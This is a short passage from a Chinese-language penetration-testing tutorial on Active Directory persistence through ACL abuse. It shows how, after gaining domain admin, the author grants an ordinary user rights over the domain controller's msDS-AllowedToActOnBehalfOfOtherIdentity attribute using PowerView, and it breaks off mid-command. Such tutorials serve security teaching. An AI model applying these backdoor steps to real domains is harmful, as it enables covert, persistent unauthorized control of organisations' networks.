内网渗透(七十七)之域权限维持之ACL滥用(中)
ACL滥用(中)
3、msDS-AllowedToActOnBehalfOfOtherldentity 属性权限
如图所示是微软对于msDS-AllowedToActOnBehalfOfOtherldentity 属性的描述
jack是域中的一个普通用户。现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:使用Empire下的powerview.ps1脚本执行如下的命令手动给用户jack添加对域控制修改msDS-AllowedToActOnBehalfOfOtherldentity(3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)属性的权限,如图所示:
Import-Module .\powerview.ps1
#添加用户jack 对域控的msDS-AllowedToActOnBehalfOfOtherldentity属性修改权限
Add-DomainObjectAcl -TargetIdentity